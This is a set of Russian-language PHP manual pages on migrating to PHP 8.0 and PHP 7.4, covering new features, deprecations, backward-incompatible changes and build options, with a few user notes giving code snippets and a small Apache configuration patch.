Изменения в модулях SAPI

Apache2Handler

Модуль PHP был переименован из php7_module в php_module.

Изменённые функции

Reflection

Результаты ReflectionClass::getConstants() и ReflectionClass::getReflectionConstants() теперь можно фильтровать с помощью нового параметра filter. Добавлены три новые константы для работы с ним:

  • ReflectionClassConstant::IS_PUBLIC
  • ReflectionClassConstant::IS_PROTECTED
  • ReflectionClassConstant::IS_PRIVATE

Стандартные функции

Математические функции abs(), ceil(), floor() и round() теперь правильно учитывают объявление strict_type. Ранее они приводили первый аргумент к числовому значению даже в режиме строгой типизации.

Zip

  • Методы ZipArchive::addGlob() и ZipArchive::addPattern() принимают новые значения в массиве параметров options:

    • flags
    • comp_method
    • comp_flags
    • env_method
    • enc_password

  • У методов ZipArchive::addEmptyDir(), ZipArchive::addFile() и ZipArchive::addFromString() добавлен новый параметр flags. С помощью него можно управлять кодировкой имени (ZipArchive::FL_ENC_*) и заменой записи (ZipArchive::FL_OVERWRITE).

  • ZipArchive::extractTo() теперь восстанавливает время модификации файла.

Другие изменения в модулях

CURL

  • Для работы модуля CURL теперь требуется как минимум libcurl 7.29.0.

  • Устаревший параметр version функции curl_version() был удалён.

Дата и время

DatePeriod теперь реализует IteratorAggregate (вместо Traversable).

DOM

DOMNamedNodeMap и DOMNodeList теперь реализуют IteratorAggregate (вместо Traversable).

Intl

IntlBreakIterator и ResourceBundle теперь реализуют IteratorAggregate (вместо Traversable).

Enchant

Модуль enchant теперь использует libenchant-2 по умолчанию, если возможно. libenchant версии 1 все ещё поддерживается, но устарел и может быть удалён в будущем.

GD

  • Параметр num_points для imagepolygon(), imageopenpolygon() и imagefilledpolygon() теперь является необязательным, то есть эти функции могут быть вызваны с помощью трёх или четырёх параметров. Если параметр опущен, он рассчитывается как count($points)/2.

  • Добавлена функция imagegetinterpolation() для получения текущего метода интерполяции.

JSON

Модуль JSON больше нельзя отключить, теперь он является неотъемлемой частью любой сборки PHP, как и модуль date.

MBString

Таблицы данных Unicode обновлены до версии 13.0.0.

PDO

PDOStatement теперь реализует IteratorAggregate (вместо Traversable).

LibXML

Минимальная необходимая версия libxml - 2.9.0. Это означает, что загрузка внешних объектов по умолчанию теперь отключена и поэтому не требуется дополнительных шагов для защиты от XXE-атак.

MySQLi / PDO MySQL

  • Если mysqlnd не используется (это вариант по умолчанию и рекомендуется), минимальная поддерживаемая версия libmysqlclient теперь 5.5.

  • mysqli_result теперь реализует IteratorAggregate (вместо Traversable).

PGSQL / PDO PGSQL

Для модулей PGSQL и PDO PGSQL теперь требуется как минимум libpq 9.1.

Readline

Вызов readline_completion_function() перед запуском интерактивной подсказки (например, в auto_prepend_file) теперь отменяет функцию завершения интерактивной подсказки по умолчанию. Ранее readline_completion_function() работала только при вызове после запуска интерактивной подсказки.

SimpleXML

SimpleXMLElement теперь реализует RecursiveIterator и включает в себя функционал SimpleXMLIterator. SimpleXMLIterator является пустым расширением SimpleXMLElement.

Изменения в обработке INI-файлов

  • com.dotnet_version - это новая INI-директива для выбора версии платформы .NET, которая будет использоваться для объектов dotnet.

  • zend.exception_string_param_max_len - это новая INI-директива для установки максимальной длины строки в аргументе строковой трассировки стека.

EBCDIC

Цели EBCDIC больше не поддерживаются, хотя маловероятно, что они до сих пор работали.

Производительность

  • Компилятор Just-In-Time (JIT) был добавлен в модуль opcache.

  • array_slice() в массиве без расстояний между элементами больше не будет сканировать весь массив, чтобы найти начальное смещение. Это может значительно сократить время выполнения функции с большими смещениями и малой длиной.

  • strtolower() теперь использует реализацию SIMD в локали "C" LC_CTYPE (которая используется по умолчанию).

User Contributed Notes

barry dot nelson at amobiledevice dot com 16-Jan-2023 12:18
If loading the PHP8 apache module on SuSe Linux, the configuration scripts incorrectly try to load it with automatically generated load statement of:
LoadModule php8_module                     /usr/lib64/apache2/mod_php8.so
This does not work, the patch below fixes the conf file generator...

--- /usr/share/apache2/get_module_list    2023-01-14 22:41:49.586825349 -0500
+++ /usr/share/apache2/get_module_list    2023-01-14 22:42:02.171600410 -0500
@@ -91,4 +91,8 @@
     esac

+    if [ "$module_id" = "php8_module" ]; then
+        module_id="php_module"
+    fi
+
     if [[ -f $module_path ]]; then
         printf "LoadModule %-30s %s\n" $module_id $module_path >&3


Миграция с PHP 7.3.x на PHP 7.4.x

Содержание

  • Новые возможности
  • Новые классы и интерфейсы
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Устаревшая функциональность
  • Удалённые модули
  • Другие изменения
  • Поддержка Windows

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версии PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.0.x, 7.1.x, 7.2.x и 7.3.x.

User Contributed Notes

There are no user contributed notes for this page.


Новые возможности

Ядро PHP

Типизированные свойства

Свойства класса теперь поддерживают объявления типов.

<?php
class User {
public int $id;
public string $name;
}
?>
В приведённом примере выше показано, что $user->id можно присвоить только значения типа int, когда как $user->name - исключительно значения типа string.

Стрелочные функции

Стрелочные функции - это сокращённая запись для определения функций с неявной привязкой родительской области видимости по значению.

<?php
$factor = 10;
$nums = array_map(fn($n) => $n * $factor, [1, 2, 3, 4]);
// $nums = array(10, 20, 30, 40);
?>

Ограниченная ковариация возвращаемого типа и контравариантность типа аргумента

Следующий код теперь будет работать:

<?php
class A {}
class B extends A {}

class Producer {
public function method(): A {}
}
class ChildProducer extends Producer {
public function method(): B {}
}
?>
Полная поддержка вариантности доступна только при использовании автозагрузки. Внутри одного файла могут быть только нециклические ссылки, поскольку все классы должны быть определены, перед тем как на них ссылаться.

Присваивающий оператор объединения с null

<?php
$array['key'] ??= computeDefault();
// примерно то же самое
if (!isset($array['key'])) {
$array['key'] = computeDefault();
}
?>

Распаковка внутри массивов

<?php
$parts = ['apple', 'pear'];
$fruits = ['banana', 'orange', ...$parts, 'watermelon'];
// ['banana', 'orange', 'apple', 'pear', 'watermelon'];
?>

Разделитель в числовых литералах

Теперь в числовых литералах между знаками могут быть символы подчёркивания.

<?php
6.674_083e-11; // число с плавающей точкой
299_792_458; // десятичное число
0xCAFE_F00D; // шестнадцатеричное число
0b0101_1111; // двоичное число
?>

Слабые ссылки

Слабые ссылки позволяют программисту сохранить ссылку на объект, которая не помешает сборщику мусора удалить этот объект.

Обработка исключений из метода __toString()

Выбрасывание исключений из метода __toString() теперь разрешено. Ранее это приводило к фатальной ошибке. Существующие отлавливаемые фатальные ошибки при преобразовании объекта в строку будут доступны в виде исключений класса Error.

CURL

Помимо обычных имён файлов, класс CURLFile теперь поддерживает потоковые обёртки, если модуль был собран с версией libcurl >= 7.56.0.

Фильтрация

Фильтр FILTER_VALIDATE_FLOAT теперь поддерживает параметры min_range и max_range, с тем же смыслом, что и для FILTER_VALIDATE_INT.

FFI

FFI - новый модуль, который предлагает простой способ вызова встроенных функций, доступа к встроенным переменным, а также создавать или обращаться к структурам данных в библиотеках на языке Си.

GD

Добавлена константа IMG_FILTER_SCATTER для применения рассеивающегося фильтра к изображениям.

Хеширование

Добавлен хеш crc32c, использующий полином Кастаноли. Эта реализация алгоритма CRC32 используется системами хранения, такими как iSCSI, SCTP, Btrfs и ext4.

Многобайтовые строки

Добавлена функция mb_str_split(), которая выполняет, то же, что и str_split(), но работает с кодовыми точками, а не с байтами.

OPcache

Добавлена поддержка предварительной загрузки кода.

Регулярные выражения (совместимые с Perl)

Функции preg_replace_callback() и preg_replace_callback_array() теперь принимают дополнительный аргумент flags с поддержкой флагов PREG_OFFSET_CAPTURE и PREG_UNMATCHED_AS_NULL. Он повлияет на формат массива совпавших значений, передаваемого в callback-функцию.

PDO

Имя пользователя и пароль теперь можно указать как часть DSN для драйверов mysql, mssql, sybase, dblib, firebird и oci. Ранее поддержка этого была только для драйвера pgsql. Если имя пользователя/пароль указаны и в конструкторе и в DSN, то конструктор будет иметь приоритет.

Также теперь можно экранировать вопросительные знаки в SQL-запросах, чтобы они не воспринимались как именованные параметры. Использование ?? отправит один знак вопроса в базу данных, и, например, в случае использования PostgreSQL, будет использован оператор проверки существования ключа в JSON (?).

PDO_OCI

Для данного драйвера теперь доступен метод PDOStatement::getColumnMeta().

PDO_SQLite

Выражение PDOStatement::getAttribute(PDO::SQLITE_ATTR_READONLY_STATEMENT) позволяет проверить, доступен ли подготовленный запрос только для чтения, т.е. не изменяет ли он базу данных.

PDO::setAttribute(PDO::SQLITE_ATTR_EXTENDED_RESULT_CODES, true) позволяет использовать расширенные коды результата SQLite3 в PDOStatement::errorInfo().

SQLite3

Добавлен метод SQLite3::lastExtendedErrorCode() для получения последнего расширенного кода результата.

Добавлен метод SQLite3::enableExtendedResultCodes($enable = true), который заставит метод SQLite3::lastErrorCode() возвращать расширенные коды результаты.

Стандартное

strip_tags() с массивом имён тегов

Функция strip_tags() теперь также принимает массив разрешённых тегов: вместо strip_tags($str, '<a><p>') теперь можно написать strip_tags($str, ['a', 'p']).

Пользовательская сериализация объектов

Добавлен новый механизм сериализации пользовательских объектов, использующий два новых магических метода: __serialize и __unserialize.

<?php
// Возвращает массив, содержащий все необходимое состояние объекта.
public function __serialize(): array;

// Восстанавливает состояние объекта из указанного массива данных.
public function __unserialize(array $data): void;
?>
Новый механизм сериализации заменяет интерфейс Serializable, который в будущем будет объявлен устаревшим.

Функции слияния массивов без аргументов

Функции array_merge() и array_merge_recursive() теперь могут вызываться без каких-либо аргументов, и тогда они возвратят пустой массив. Это полезно в сочетании с оператором расширения, например, array_merge(...$arrays).

Функция proc_open()

proc_open() теперь принимает массив вместо строки для выполнения команды. В этом случае процесс будет открыт напрямую (без командной оболочки), а PHP экранирует любой необходимый аргумент.

<?php
proc_open(['php', '-r', 'echo "Привет, мир\n";'], $descriptors, $pipes);
?>

Функция proc_open() теперь поддерживает дескрипторы redirect и null.

<?php
// То же самое, что и 2>&1 в командной оболочке
proc_open($cmd, [1 => ['pipe', 'w'], 2 => ['redirect', 1]], $pipes);
// То же самое, что и 2>/dev/null или 2>nul в командной оболочке
proc_open($cmd, [1 => ['pipe', 'w'], 2 => ['null']], $pipes);
?>

argon2i(d) без libargon

Функция password_hash() теперь поддерживает варианты хеширования argon2i и argon2id из модуля sodium, когда PHP собран без libargon.

User Contributed Notes

wow-apps.pro 26-Feb-2020 08:42
<?php

// How to get property type? For example for testing:

class Foo
{
    private int $num;
    private bool $isPositive;
    private $notes;
}

$reflection = new \ReflectionClass(Foo::class);
$classProperties = $reflection->getProperties(\ReflectionProperty::IS_PRIVATE);
foreach ($classProperties as $classProperty) {
    var_dump((string) $classProperty->getType());
}

/**
 * Result:
 * "int"
 * "bool"
 * ""
 */
Rain 27-Jan-2020 08:44
It should be noted that typed properties internally are never initialized to a default null. Unless of course you initialize them to null yourself. That's why you will always going to encounter this error if you try to access them before initialization.

**Typed property foo::$bar must not be accessed before initialization**

<?php
class User
{
    public $id;
    public string $name; // Typed property (Uninitialized)
    public ?string $age = null; //  Typed property (Initialized)
}

$user = new User;
var_dump(is_null($user->id)); // bool(true)
var_dump(is_null($user->name)); // PHP Fatal error: Typed property User::$name must not be accessed before initialization
var_dump(is_null($user->age));// bool(true)
?>

Another thing worth noting is that it's not possible to initialize a property of type object to anything other than null.  Since the evaluation of properties happens at compile-time and object instantiation happens at runtime. One last thing, callable type is not supported due to its context-dependent behavior.


Новые классы и интерфейсы

Reflection

  • ReflectionReference

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

Ядро PHP

  • get_mangled_object_vars()
  • password_algos()
  • sapi_windows_set_ctrl_handler()

GD

  • imagecreatefromtga()

Многобайтовые строки

  • mb_str_split()

OpenSSL

  • openssl_x509_verify()

Управление процессами

  • pcntl_unshare()

SQLite3

  • SQLite3::backup()
  • SQLite3Stmt::getSQL()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

Ядро PHP

  • PHP_WINDOWS_EVENT_CTRL_C
  • PHP_WINDOWS_EVENT_CTRL_BREAK

Мультибайтовые строки

  • MB_ONIGURUMA_VERSION

Сокеты

Добавлены следующие опции сокетов для FreeBSD:

  • SO_LABEL
  • SO_PEERLABEL
  • SO_LISTENQLIMIT
  • SO_LISTENQLEN
  • SO_USER_COOKIE

Tidy

  • TIDY_TAG_ARTICLE
  • TIDY_TAG_ASIDE
  • TIDY_TAG_AUDIO
  • TIDY_TAG_BDI
  • TIDY_TAG_CANVAS
  • TIDY_TAG_COMMAND
  • TIDY_TAG_DATALIST
  • TIDY_TAG_DETAILS
  • TIDY_TAG_DIALOG
  • TIDY_TAG_FIGCAPTION
  • TIDY_TAG_FIGURE
  • TIDY_TAG_FOOTER
  • TIDY_TAG_HEADER
  • TIDY_TAG_HGROUP
  • TIDY_TAG_MAIN
  • TIDY_TAG_MARK
  • TIDY_TAG_MENUITEM
  • TIDY_TAG_METER
  • TIDY_TAG_NAV
  • TIDY_TAG_OUTPUT
  • TIDY_TAG_PROGRESS
  • TIDY_TAG_SECTION
  • TIDY_TAG_SOURCE
  • TIDY_TAG_SUMMARY
  • TIDY_TAG_TEMPLATE
  • TIDY_TAG_TIME
  • TIDY_TAG_TRACK
  • TIDY_TAG_VIDEO

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Ядро PHP

Массивоподобное обращение к немассивам

Попытка использовать значения с типом null, bool, int, float или resource как массив (например, $null["key"]) теперь создаст уведомление.

Функция get_declared_classes()

Функция get_declared_classes() больше не возвращает анонимные классы, которые ещё не были созданы.

Ключевое слово fn

Литерал fn теперь зарезервированное ключевое слово. В частности, его больше не разрешено указывать как имя функции или класса. Но при этом, этим ключевым словом разрешено назвать имя метода или константы в классе.

Тег <?php в конце файла

Запись <?php в конце файла (без завершающей новой строки) теперь будет интерпретироваться как открывающий тег PHP. Ранее она обрабатывалась либо как короткий открывающий тег с последующим литералом php и приводил к синтаксической ошибке (при short_open_tag=1), либо воспринимался как строковый литерал <?php (в случае short_open_tag=0).

Потоковые обёртки

При включении данных потока выражениями include или require метод streamWrapper::stream_set_option() будет вызываться с параметром STREAM_OPTION_READ_BUFFER. Для пользовательских потоковых обёрток, возможно, потребуется реализация метода streamWrapper::stream_set_option(), чтобы убрать предупреждение (как правило, хватает только возврата false).

Сериализация

Удалён формат сериализации o. Поскольку сам PHP им не пользуется, он мог только нарушить десериализацию строк, созданных вручную.

Константы алгоритма пароля

Идентификаторы алгоритма хеширования паролей теперь обнуляемые строки, а не целые числа.

  • PASSWORD_DEFAULT раньше было целочисленным 1; теперь строка '2y' (в PHP 7.4.0, 7.4.1 и 7.4.2 было null)
  • PASSWORD_BCRYPT раньше было целочисленным 1; теперь строка '2y'
  • PASSWORD_ARGON2I раньше было целочисленным 2; теперь строка 'argon2i'
  • PASSWORD_ARGON2ID раньше было целочисленным 3; теперь строка 'argon2id'

Приложения, правильно использующие константы PASSWORD_DEFAULT, PASSWORD_BCRYPT, PASSWORD_ARGON2I и PASSWORD_ARGON2ID, будут работать как и раньше.

Функция htmlentities()

Функция htmlentities() теперь будет выдавать уведомление (вместо предупреждения уровня E_STRICT), если она используется с кодировкой, для которой поддерживается только преобразование основных символов. В этом случае она эквивалентна использованию htmlspecialchars().

Функции fread() и fwrite()

Функции fread() и fwrite() теперь будут возвращать false, если операция не удалась. Ранее возвращалась пустая строка или 0. К ошибкам EAGAIN/EWOULDBLOCK это не относится.

Эти функции теперь также вызывают уведомление при неудачном выполнении, например, при записи в файловый ресурс, предназначенный только для чтения.

Вычисления над числами с произвольной точностью BCMath

Теперь функции BCMath будут выдавать предупреждения, если передано число с ошибкой, например, "32foo". Подобный аргумент, как и раньше, будет интерпретирован как ноль.

CURL

Попытка сериализации класса CURLFile теперь создаст исключение. Ранее исключение выбрасывалось только при десериализации.

Использование CURLPIPE_HTTP1 объявлено устаревшим, и не будет поддерживаться с версии cURL 7.62.0.

Параметр $version функции curl_version() объявлен устаревшим. Если передаётся значение, не равное CURLVERSION_NOW по умолчанию, будет вызвано предупреждение, а параметр проигнорирован.

Дата и время

Вызов var_dump() или похожей отладочной функции с экземпляром DateTime или DateTimeImmutable больше не оставляет после своего выполнения доступных свойств.

Сравнение объектов DateInterval (с использованием ==, < и т.д.) теперь создаёт предупреждение и всегда возвращает false. Ранее все объекты DateInterval считались одинаковыми, если у них не было свойств.

Intl

Значение параметров по умолчанию в функциях idn_to_ascii() и idn_to_utf8() теперь INTL_IDNA_VARIANT_UTS46 вместо устаревшего INTL_IDNA_VARIANT_2003.

MySQLi

Функциональность встроенного сервера была удалена. Она была сломана как минимум с PHP 7.0.

Недокументированное свойство mysqli::$stat было удалено в пользу использования mysqli::stat().

OpenSSL

Функция openssl_random_pseudo_bytes() теперь будет выбрасывать исключение в тех же ситуациях, что и функция random_bytes(). В частности, выбрасывается исключение Error, если количество запрошенных байтов меньше или равно нулю. Исключение Exception выбрасывается, если не получена достаточная случайность. Аргумент $crypto_strong гарантированно будет равен true, если функция ничего не выбрасывает, поэтому явно проверять его не нужно.

Регулярные выражения (совместимые Perl)

При использовании флага PREG_UNMATCHED_AS_NULL, завершающие несовпадающие подмаски теперь будут иметь значение null (или [null, -1], если включено сохранение позиции подмаски). Это означает, что размер $matches всегда будет одинаковым.

Объекты данных PHP (PDO)

Попытка сериализовать экземпляр PDO или PDOStatement теперь создаст Exception, а не PDOException, по аналогии с другими внутренними классами, которые не поддерживают сериализацию.

Reflection

Объекты Reflection теперь создают исключение, если попробовать их сериализовать. Сериализация объектов Reflection никогда не поддерживалась и приводила к повреждению объектов Reflection. Сейчас это было явно запрещено.

Изменились значения констант классов ReflectionClassConstant, ReflectionMethod и ReflectionProperty.

Стандартная библиотека PHP (SPL)

Вызов get_object_vars() с экземпляром ArrayObject теперь всегда будет возвращать свойства самого ArrayObject (или подкласса). Ранее он возвращал значения упакованного массива/объекта, если не был указан флаг ArrayObject::STD_PROP_LIST.

Другие затронутые операции:

  • ReflectionObject::getProperties()
  • reset(), current() и т.д. Используйте вместо этого методы Iterator.
  • Вероятно, все остальное работает со свойствами объекта при доступе в виде списка, например, array_walk().

На приведение типа (array) эти изменения не повлияют. Они по-прежнему возвращают либо упакованный массив, либо свойства ArrayObject, в зависимости от того, используется ли флаг ArrayObject::STD_PROP_LIST.

Метод SplPriorityQueue::setExtractFlags() выбросит исключение, если передан ноль. Ранее это приводило к отлавливаемой фатальной ошибке при следующей операции извлечения.

ArrayObject, ArrayIterator, SplDoublyLinkedList и SplObjectStorage теперь поддерживают __serialize() и __unserialize() в дополнение к интерфейсу Serializable. Поэтому теперь созданные в более старых версиях PHP сериализованные данные, всё ещё могут быть неверно обработаны. Однако новые созданные сериализованные данные в PHP 7.4, не будут восприниматься в более старых версиях.

Лексер (Tokenizer)

Функция token_get_all() теперь отобразит метку T_BAD_CHARACTER в случае обнаружения непредвиденных символов в потоке меток.

Входящие Cookies

Начиная с PHP 7.4.11 имена входящих cookie больше не декодируются из URL-закодированной строки из соображений безопасности.

User Contributed Notes

happydog at kennel17 24-Jan-2021 11:23
Re: "The o serialization format has been removed. As it is never produced by PHP, this may only break unserialization of manually crafted strings."

This little-o serialisation format was used by PHP3 but was never generated by PH PHP4 or above.  The deserialization code still recognised it, though, for reasons of backwards-compatibility with PHP3.

However, based on a bit of investigation, it looks like this code has been broken for about 15 years, so although this is listed as a deprecation, in practice it wasn't.

See this Stack Overflow question for a really great answer, with a lot more detail about this: https://stackoverflow.com/questions/65289729/what-was-phps-o-serialization-format-for


Устаревшая функциональность

Ядро PHP

Вложенные тернарные операторы без явного указания скобок

Во вложенных тернарных операциях должны явно использоваться круглые скобки, чтобы определить порядок операций. Раньше, если скобки явно не заданы, в большинстве случаев левая ассоциативность не приводила к ожидаемому поведению.

<?php
1 ? 2 : 3 ? 4 : 5; // устарело
(1 ? 2 : 3) ? 4 : 5; // хорошо
1 ? 2 : (3 ? 4 : 5); // хорошо
?>

Скобки не требуются при вложении в средний операнд, поскольку это всегда однозначно и не зависит от ассоциативности:

1 ? 2 ? 3 : 4 : 5 // хорошо

Обращение к индексу массива и строки через фигурные скобки

Синтаксис доступа к массиву и строке с использованием фигурных скобок объявлен устаревшим. Используйте $var[$idx] вместо $var{$idx}.

Приведение типа (real) и функция is_real()

Приведение типа (real) объявлено устаревшим, вместо этого используйте (float).

Функция is_real() также объявлена устаревшей, вместо неё используйте is_float().

Отмена привязки $this при использовании $this

Отмена привязки $this в нестатическом замыкании, которое использует $this, объявлена устаревшей.

Ключевое слово parent вне родительского класса

Использование parent внутри класса, у которого нет родителя, объявлено устаревшим, а в будущем произойдёт ошибка компиляции. А пока ошибка будет только при обращении к родителю во время выполнения.

INI-опция allow_url_include

Конфигурационная директива allow_url_include объявлена устаревшей. При включённой опции будет вызвано уведомление об устаревшей возможности во время загрузки.

Недопустимые символы в основных функциях преобразования

Передача недопустимых символов в base_convert(), bindec(), octdec() теперь вызывает уведомление об устаревшей возможности. Результат всё равно будет вычислен так, как если бы недопустимых символов не было. Ведущие и завершающие пробелы, а также префиксы типа 0x (в зависимости от системы счисления) по-прежнему разрешены.

Использование array_key_exists() с объектом

Использование array_key_exists() с объектом объявлено устаревшим. Вместо этого следует использовать либо isset(), либо property_exists().

Функции, связанные с волшебными кавычками

Функции get_magic_quotes_gpc() и get_magic_quotes_runtime() объявлены устаревшими. Они всегда возвращают false.

Функция hebrevc()

Функция hebrevc() объявлена устаревшей. Её можно заменить на выражение nl2br(hebrev($str)), либо лучше всего использовать поддержку Unicode RTL.

Функция convert_cyr_string()

Функция convert_cyr_string() объявлена устаревшей. Её можно заменить либо на mb_convert_string(), либо iconv() или на класс UConverter.

Функция money_format()

Функция money_format() объявлена устаревшей. Она может быть заменена функциональностью интернационализации - классом NumberFormatter.

Функция ezmlm_hash()

Функция ezmlm_hash() объявлена устаревшей.

Функция restore_include_path()

Функция restore_include_path() объявлена устаревшей. Её можно заменить на ini_restore('include_path').

Использование implode с нерекомендуемым порядком параметров

Передача параметров в implode() в обратном порядке объявлена устаревшей - используйте implode($glue, $parts) вместо implode($parts, $glue).

COM

Импорт библиотек типов с регистрацией констант без учёта регистра объявлен устаревшим.

Фильтрация

Фильтр FILTER_SANITIZE_MAGIC_QUOTES объявлен устаревшим, вместо него используйте FILTER_SANITIZE_ADD_SLASHES.

Многобайтовые строки

Передача нестрокового шаблона в mb_ereg_replace() объявлена устаревшей. В данный момент нестроковые значения интерпретируются как кодовые точки ASCII. В PHP 8 шаблон будет обрабатываться как строка.

Передача кодировки в качестве 3-го параметра в mb_strrpos() объявлена устаревшей. Вместо этого передавайте позицию как 0, а кодировку в 4-м параметре.

Облегчённый протокол доступа к каталогам (LDAP)

Функции ldap_control_paged_result_response() и ldap_control_paged_result() объявлены устаревшими. Для управления постраничным режимом используйте функцию ldap_search().

Reflection

Вызовы ReflectionType::__toString() теперь создают уведомление об устаревшей возможности. Этот метод объявлен устаревшим в пользу использования ReflectionNamedType::getName() в документации с PHP 7.1, но не выдавал соответствующего уведомления по техническим причинам.

Методы export() у всех классов Reflection объявлены устаревшими. Теперь создавайте объект Reflection и преобразуйте его в строку:

<?php
// Вместо ReflectionClass::export(Foo::class, false) используйте:
echo new ReflectionClass(Foo::class), "\n";

// Вместо $str = ReflectionClass::export(Foo::class, true) используйте:
$str = (string) new ReflectionClass(Foo::class);
?>

Сокеты

Флаги AI_IDN_ALLOW_UNASSIGNED и AI_IDN_USE_STD3_ASCII_RULES для функции socket_addrinfo_lookup() объявлены устаревшими из-за обновления glibc.

User Contributed Notes

Techlemur 13-Nov-2020 08:58
^((?!\().*)(\?[^php]).*(\:)([\s\v]+)(?!\().*[^\/](\?)([\s\v\h]*).*(\:[^=])
Regex to find deprecated nested ternaries
Ahmad Asjad 03-Jun-2020 10:01
(\?[^php]).*(\:).*(\?).*(\:[^=])
Above regex can help others to find the nested ternary operator


Удалённые модули

Следующие модули перемещены в репозиторий PECL и больше не будут поставляться с дистрибутивом PHP. Версии этих модулей в виде пакетов PECL будут создаваться в соответствии с потребностями пользователей.

  • Firebird/Interbase - доступ к базам данных на InterBase и/или Firebird по-прежнему возможен через драйвер PDO Firebird.
  • Recode
  • WDDX

User Contributed Notes

There are no user contributed notes for this page.


Другие изменения

Улучшения производительности

Ядро PHP

Добавлен специальный опкод виртуальной машины для функции array_key_exists(), который улучшает производительность этой функции, если значение параметра может быть статически разрешено. В коде, использующем пространства имён, возможно потребуется использование абсолютного имени (\array_key_exists()) либо же явный импорт функции.

Регулярные выражения (совместимые с Perl)

Когда функция preg_match() в режиме UTF-8 (модификатор "u") неоднократно вызывается для одной и той же строки (возможно, на различных позициях), проверка правильности UTF-8 будет выполнена только один раз.

Изменения обработки INI-файлов

zend.exception_ignore_args - новая INI-директива для включения или исключения аргументов из трассировок стека, полученных в исключениях.

opcache.preload_user - новая INI-директива для установки пользователя, из-под которого должен выполняться код предварительной загрузки, иначе это будет root (не допускается по соображениям безопасности).

Миграция на pkg-config

Множество модулей теперь используют исключительно pkg-config, чтобы определять зависимости библиотек. Как правило, это означает, что вместо --with-foo-dir=DIR используется только --with-foo. Пользовательские пути к библиотекам могут быть указаны либо путём добавления дополнительных каталогов в PKG_CONFIG_PATH, либо путём явного указания параметров компиляции через FOO_CFLAGS и FOO_LIBS.

Следующие модули и SAPI были затронуты этим изменением:

  • CURL:
    • Опция --with-curl больше не принимает каталог.
  • Enchant:
    • Опция --with-enchant больше не принимает каталог.
  • FPM:
    • Опция --with-fpm-systemd теперь использует только pkg-config для проверок libsystem. Минимальная обязательная версия libsystemd - 209.
  • GD:
    • Опция --with-gd переименована в --enable-gd (должен быть включён модуль или нет), а опция --with-external-gd использует внешнюю библиотеку libgd, вместо той, которая идёт в комплекте.
    • Опция --with-png-dir удалена. Наличие libpng теперь обязательно.
    • Опция --with-zlib-dir удалена. Наличие zlib теперь обязательно.
    • Опция --with-freetype-dir переименована в --with-freetype
    • Опция --with-jpeg-dir переименована в --with-jpeg
    • Опция --with-webp-dir переименована в --with-webp
    • Опция --with-xpm-dir переименована в --with-xpm
  • IMAP:
    • Опция --with-kerberos-systemd больше не принимает каталог.
  • Intl:
    • Опция --with-icu-dir удалена. Если передан --enable-intl, тогда всегда требуется наличие libicu.
  • LDAP:
    • Опция --with-ldap-sasl больше не принимает каталог.
  • Libxml:
    • Опция --with-libxml-dir удалена.
    • Опция --enable-libxml переименована в --with-libxml.
    • Опция --with-libexpat-dir переименована в --with-expat и больше не принимает каталог.
  • Litespeed:
    • Опция --with-litespeed переименована в --enable-litespeed.
  • Mbstring:
    • Опция --with-onig удалена. Если --disable-mbregex не указан, требуется libonig.
  • ODBC:
    • Опция --with-iodbc больше не принимает каталог.
    • Опция --with-unixODBC без каталога теперь использует pkg-config (предпочтительно). Каталог по-прежнему можно указать для старых версий без libodbc.pc.
  • OpenSSL:
    • Опция --with-openssl больше не принимает каталог.
  • PCRE:
    • Опция --with-pcre-regex удалена. Вместо этого --with-external-pcre позволяет использовать внешнюю PCRE-библиотеку вместо встроенной.
  • PDO_SQLite:
    • Опция --with-pdo-sqlite больше не принимает каталог.
  • Readline:
    • Опция --with-libedit больше не принимает каталог.
  • Sodium:
    • Опция --with-sodium больше не принимает каталог.
  • SQLite3:
    • Опция --with-sqlite3 больше не принимает каталог.
  • XSL:
    • Опция --with-xsl больше не принимает каталог.
  • Zip:
    • Опция --with-libzip удалена.
    • Опция --enable-zip переименована в --with-zip.

Экранирование CSV

fputcsv(),
fgetcsv(),
SplFileObject::fputcsv(),
SplFileObject::fgetcsv() и
SplFileObject::setCsvControl()
теперь принимаем пустую строку в аргументе $escape.
Это отключит проприетарный механизм экранирования PHP.

Поведение функции str_getcsv() было соответствующим образом скорректировано (ранее пустая строка была идентична использованию значения по умолчанию).

Метод SplFileObject::getCsvControl() теперь также может возвращать пустую строку для третьего элемента массива, соответственно.

Фильтрация данных

Модуль filter больше не поддерживает ---with-pcre-dir для Unix-сборок и поэтому может быть спокойно собран для общего пользования с помощью ./configure.

GD

Поведение функции imagecropauto() в встроенной библиотеке libgd было синхронизировано с системной библиотекой libgd:

  • IMG_CROP_DEFAULT в случае неудачного выполнения не заменяется на IMG_CROP_SIDES
  • Пороговое значение кадрирования теперь рассчитывается из алгоритма в системной библиотеке libgd

Значение по умолчанию $mode imagecropauto() было изменено на IMG_CROP_DEFAULT; передача -1 теперь объявлена устаревшей.

imagescale() теперь поддерживает масштабирование с сохранением соотношения сторон до фиксированной высоты при передаче -1 в параметр $new_width.

Фреймворк хеш-кодов HASH

Модуль hash больше нельзя отключить, теперь он является неотъемлемой частью любой PHP-сборки, подобно модулю date.

Intl

Модуль intl теперь требует как минимум ICU 50.1.

Класс ResourceBundle теперь реализует Countable.

Облегчённый протокол доступа к каталогам (LDAP)

Поддержка nsldap и umich_ldap была удалена.

Libxml

Все модули на основе libxml теперь требуют libxml версии 2.7.6 или новее.

Многобайтовые строки

Библиотека oniguruma больше не идёт в комплекте с PHP, вместо неё в системе должна быть libonig. В качестве альтернативы можно указать ---disable-mbregex, чтобы отключить компонент mbregex.

OPcache

Конфигурационные опции --disable-opcache-file и --enable-opcache-file удалены в пользу использования INI-директивы opcache.file_cache

Хеширование паролей

Функции password_hash() и password_needs_rehash() теперь принимают обнуляемую строку (string) и целое число (int) в аргументе $algo.

PEAR

Установка PEAR (вместе с PECL) больше не включена по умолчанию. Её можно явно включить, используя --with-pear. Эта опция объявлена устаревшей и может быть удалена в будущем.

Reflection

Изменены числовые значения констант-модификаторов (IS_ABSTRACT, IS_DEPRECATED, IS_EXPLICIT_ABSTRACT, IS_FINAL, IS_IMPLICIT_ABSTRACT, IS_PRIVATE, IS_PROTECTED, IS_PUBLIC и IS_STATIC) в классах ReflectionClass, ReflectionFunction, ReflectionMethod, ReflectionObject и ReflectionProperty.

SimpleXML

Класс SimpleXMLElement теперь реализует Countable.

